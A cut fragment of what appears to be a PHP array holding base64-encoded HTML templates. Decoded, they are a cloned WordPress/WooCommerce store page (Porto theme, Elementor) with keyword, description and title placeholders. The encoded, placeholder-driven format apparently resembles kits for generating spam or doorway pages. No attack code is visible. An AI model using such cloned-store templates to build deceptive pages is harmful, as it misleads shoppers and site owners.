ICAgICAiZ3JpZF9ndXR0ZXJfd2lkdGgiOiAiMjAiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyIjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX3RhYmxldCI6ICIxIiwNCiAgICAgICAgInNob3dfc3RpY2t5X2hlYWRlcl9tb2JpbGUiOiAiMSIsDQogICAgICAgICJhamF4X2xvYWRlcl91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvXC9pbWFnZXNcL2FqYXgtbG9hZGVyQDJ4LmdpZiIsDQogICAgICAgICJjYXRlZ29yeV9hamF4IjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwIjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwX3RpdGxlIjogIiIsDQogICAgICAgICJwcmRjdGZsdHJfYWpheCI6ICIiLA0KICAgICAgICAic2xpZGVyX2xvb3AiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b3BsYXkiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b2hlaWdodCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9zcGVlZCI6ICI1MDAwIiwNCiAgICAgICAgInNsaWRlcl9uYXYiOiAiIiwNCiAgICAgICAgInNsaWRlcl9uYXZfaG92ZXIiOiAiMSIsDQogICAgICAgICJzbGlkZXJfbWFyZ2luIjogIiIsDQogICAgICAgICJzbGlkZXJfZG90cyI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlb3V0IjogIiIsDQogICAgICAgICJwcm9kdWN0X3RodW1ic19jb3VudCI6ICI0IiwNCiAgICAgICAgInByb2R1Y3Rfem9vbSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3Rfem9vbV9tb2JpbGUiOiAiMSIsDQogICAgICAgICJwcm9kdWN0X2ltYWdlX3BvcHVwIjogIjEiLA0KICAgICAgICAiem9vbV90eXBlIjogImlubmVyIiwNCiAgICAgICAgInpvb21fc2Nyb2xsIjogIjEiLA0KICAgICAgICAiem9vbV9sZW5zX3NpemUiOiAiMjAwIiwNCiAgICAgICAgInpvb21fbGVuc19zaGFwZSI6ICJzcXVhcmUiLA0KICAgICAgICAiem9vbV9jb250YWluX2xlbnMiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfYm9yZGVyIjogIjEiLA0KICAgICAgICAiem9vbV9ib3JkZXJfY29sb3IiOiAiIzg4ODg4OCIsDQogICAgICAgICJ6b29tX2JvcmRlciI6ICIwIiwNCiAgICAgICAgInNjcmVlbl9sZyI6ICIxMTYwIiwNCiAgICAgICAgIm1mcF9jb3VudGVyIjogIiVjdXJyJSBvZiAldG90YWwlIiwNCiAgICAgICAgIm1mcF9pbWdfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGltYWdlPFwvYT4gY291bGQgbm90IGJlIGxvYWRlZC4iLA0KICAgICAgICAibWZwX2FqYXhfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGNvbnRlbnQ8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJwb3B1cF9jbG9zZSI6ICJDbG9zZSIsDQogICAgICAgICJwb3B1cF9wcmV2IjogIlByZXZpb3VzIiwNCiAgICAgICAgInBvcHVwX25leHQiOiAiTmV4dCIsDQogICAgICAgICJyZXF1ZXN0X2Vycm9yIjogIlRoZSByZXF1ZXN0ZWQgY29udGVudCBjYW5ub3QgYmUgbG9hZGVkLjxiclwvPlBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIiwNCiAgICAgICAgImxvYWRlcl90ZXh0IjogIkxvYWRpbmcuLi4iLA0KICAgICAgICAic3VibWVudV9iYWNrIjogIkJhY2siLA0KICAgICAgICAicG9ydG9fbm9uY2UiOiAiZDliNDBjNjYxYyIsDQogICAgICAgICJ1c2Vfc2tlbGV0b25fc2NyZWVuIjogWyJzaG9wIiwgInByb2R1Y3QiLCAicXVpY2t2aWV3Il0sDQogICAgICAgICJ1c2VyX2VkaXRfcGFnZXMiOiAiIiwNCiAgICAgICAgInF1aWNrX2FjY2VzcyI6ICJDbGljayB0byBlZGl0IHRoaXMgZWxlbWVudC4iLA0KICAgICAgICAiZ290b190eXBlIjogIkdvIFRvIHRoZSBUeXBlIEJ1aWxkZXIuIiwNCiAgICAgICAgImxlZ2FjeV9tb2RlIjogIjEiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUtYXN5bmMuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtYXN5bmMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy93b29jb21tZXJjZS10aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by13b29jb21tZXJjZS10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9jb3JlLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLWNvcmUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvbW91c2UubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktbW91c2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvc2xpZGVyLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLXNsaWRlci1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LXVpLXRvdWNoLXB1bmNoL2pxdWVyeS11aS10b3VjaC1wdW5jaC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtanF1ZXJ5LXVpLXRvdWNocHVuY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2FjY291bnRpbmcvYWNjb3VudGluZy5taW4uanM/dmVyPTAuNC4yJw0KICAgICAgICBpZD0nYWNjb3VudGluZy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1wcmljZS1zbGlkZXItanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wcmljZV9zbGlkZXJfcGFyYW1zID0gew0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0X251bV9kZWNpbWFscyI6ICIwIiwNCiAgICAgICAgImN1cnJlbmN5X2Zvcm1hdF9zeW1ib2wiOiAiJCIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfZGVjaW1hbF9zZXAiOiAiLiIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfdGhvdXNhbmRfc2VwIjogIiwiLA0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0IjogIiVzJXYiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3ByaWNlLXNsaWRlci5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtcHJpY2Utc2xpZGVyLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcy1iZWZvcmUnPg0KICAgIHZhciBlbGVtZW50b3JGcm9udGVuZENvbmZpZyA9IHsNCiAgICAgICAgImVudmlyb25tZW50TW9kZSI6IHsiZWRpdCI6IGZhbHNlLCAid3BQcmV2aWV3IjogZmFsc2UsICJpc1NjcmlwdERlYnVnIjogZmFsc2V9LA0KICAgICAgICAiaTE4biI6IHsNCiAgICAgICAgICAgICJzaGFyZU9uRmFjZWJvb2siOiAiU2hhcmUgb24gRmFjZWJvb2siLA0KICAgICAgICAgICAgInNoYXJlT25Ud2l0dGVyIjogIlNoYXJlIG9uIFR3aXR0ZXIiLA0KICAgICAgICAgICAgInBpbkl0IjogIlBpbiBpdCIsDQogICAgICAgICAgICAiZG93bmxvYWQiOiAiRG93bmxvYWQiLA0KICAgICAgICAgICAgImRvd25sb2FkSW1hZ2UiOiAiRG93bmxvYWQgaW1hZ2UiLA0KICAgICAgICAgICAgImZ1bGxzY3JlZW4iOiAiRnVsbHNjcmVlbiIsDQogICAgICAgICAgICAiem9vbSI6ICJab29tIiwNCiAgICAgICAgICAgICJzaGFyZSI6ICJTaGFyZSIsDQogICAgICAgICAgICAicGxheVZpZGVvIjogIlBsYXkgVmlkZW8iLA0KICAgICAgICAgICAgInByZXZpb3VzIjogIlByZXZpb3VzIiwNCiAgICAgICAgICAgICJuZXh0IjogIk5leHQiLA0KICAgICAgICAgICAgImNsb3NlIjogIkNsb3NlIg0KICAgICAgICB9LA0KICAgICAgICAiaXNfcnRsIjogZmFsc2UsDQogICAgICAgICJicmVha3BvaW50cyI6IHsieHMiOiAwLCAic20iOiA0ODAsICJtZCI6IDc2OCwgImxnIjogMTAyNSwgInhsIjogMTQ0MCwgInh4bCI6IDE2MDB9LA0KICAgICAgICAicmVzcG9uc2l2ZSI6IHsNCiAgICAgICAgICAgICJicmVha3BvaW50cyI6IHsNCiAgICAgICAgICAgICAgICAibW9iaWxlIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogNzY3LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJtb2JpbGVfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJNb2JpbGUgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA4ODAsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXQiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA5OTEsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTAyNCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXRfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEyMDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImxhcHRvcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIkxhcHRvcCIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTM2NiwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAid2lkZXNjcmVlbiI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIldpZGVzY3JlZW4iLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDI0MDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWluIiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwNCiAgICAgICAgInZlcnNpb24iOiAiMy4xMC4yIiwNCiAgICAgICAgImlzX3N0YXRpYyI6IGZhbHNlLA0KICAgICAgICAiZXhwZXJpbWVudGFsRmVhdHVyZXMiOiB7DQogICAgICAgICAgICAiZV9kb21fb3B0aW1pemF0aW9uIjogdHJ1ZSwNCiAgICAgICAgICAgICJlX29wdGltaXplZF9hc3NldHNfbG9hZGluZyI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfY3NzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImExMXlfaW1wcm92ZW1lbnRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJhZGRpdGlvbmFsX2N1c3RvbV9icmVha3BvaW50cyI6IHRydWUsDQogICAgICAgICAgICAiZV9oaWRkZW5fd29yZHByZXNzX3dpZGdldHMiOiB0cnVlLA0KICAgICAgICAgICAgImxhbmRpbmctcGFnZXMiOiB0cnVlLA0KICAgICAgICAgICAgImtpdC1lbGVtZW50cy1kZWZhdWx0cyI6IHRydWUNCiAgICAgICAgfSwNCiAgICAgICAgInVybHMiOiB7ImFzc2V0cyI6ICJcL3dwLWNvbnRlbnRcL3BsdWdpbnNcL2VsZW1lbnRvclwvYXNzZXRzXC8ifSwNCiAgICAgICAgInNldHRpbmdzIjogeyJlZGl0b3JQcmVmZXJlbmNlcyI6IFtdfSwNCiAgICAgICAgImtpdCI6IHsNCiAgICAgICAgICAgICJ2aWV3cG9ydF90YWJsZXQiOiAiOTkxIiwNCiAgICAgICAgICAgICJhY3RpdmVfYnJlYWtwb2ludHMiOiBbInZpZXdwb3J0X21vYmlsZSIsICJ2aWV3cG9ydF90YWJsZXQiXSwNCiAgICAgICAgICAgICJnbG9iYWxfaW1hZ2VfbGlnaHRib3giOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfY291bnRlciI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV9mdWxsc2NyZWVuIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3pvb20iOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfc2hhcmUiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF90aXRsZV9zcmMiOiAidGl0bGUiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2Rlc2NyaXB0aW9uX3NyYyI6ICJkZXNjcmlwdGlvbiINCiAgICAgICAgfSwNCiAgICAgICAgInBvc3QiOiB7DQogICAgICAgICAgICAiaWQiOiAwLA0KICAgICAgICAgICAgInRpdGxlIjogIlByb2R1Y3RzICYjODIxMTsgQW50aXF1ZXMsVmludGFnZSBKYXBhbmVzZSBXb29kZW4gSGFubnlhIE1hc2sgSmFwYW4gV29vZCBIb3JuZWQgRGVtb24gT25pIiwNCiAgICAgICAgICAgICJleGNlcnB0IjogIjxwPlRoaXMgaXMgd2hlcmUgeW91IGNhbiBicm93c2UgcHJvZHVjdHMgaW4gdGhpcyBzdG9yZS48XC9wPlxuIg0KICAgICAgICB9DQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9qcy9mcm9udGVuZC5taW4uanM/dmVyPTMuMTAuMicgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
  'detail.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e2RldGFpbF9qc29uX2lkfX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KIC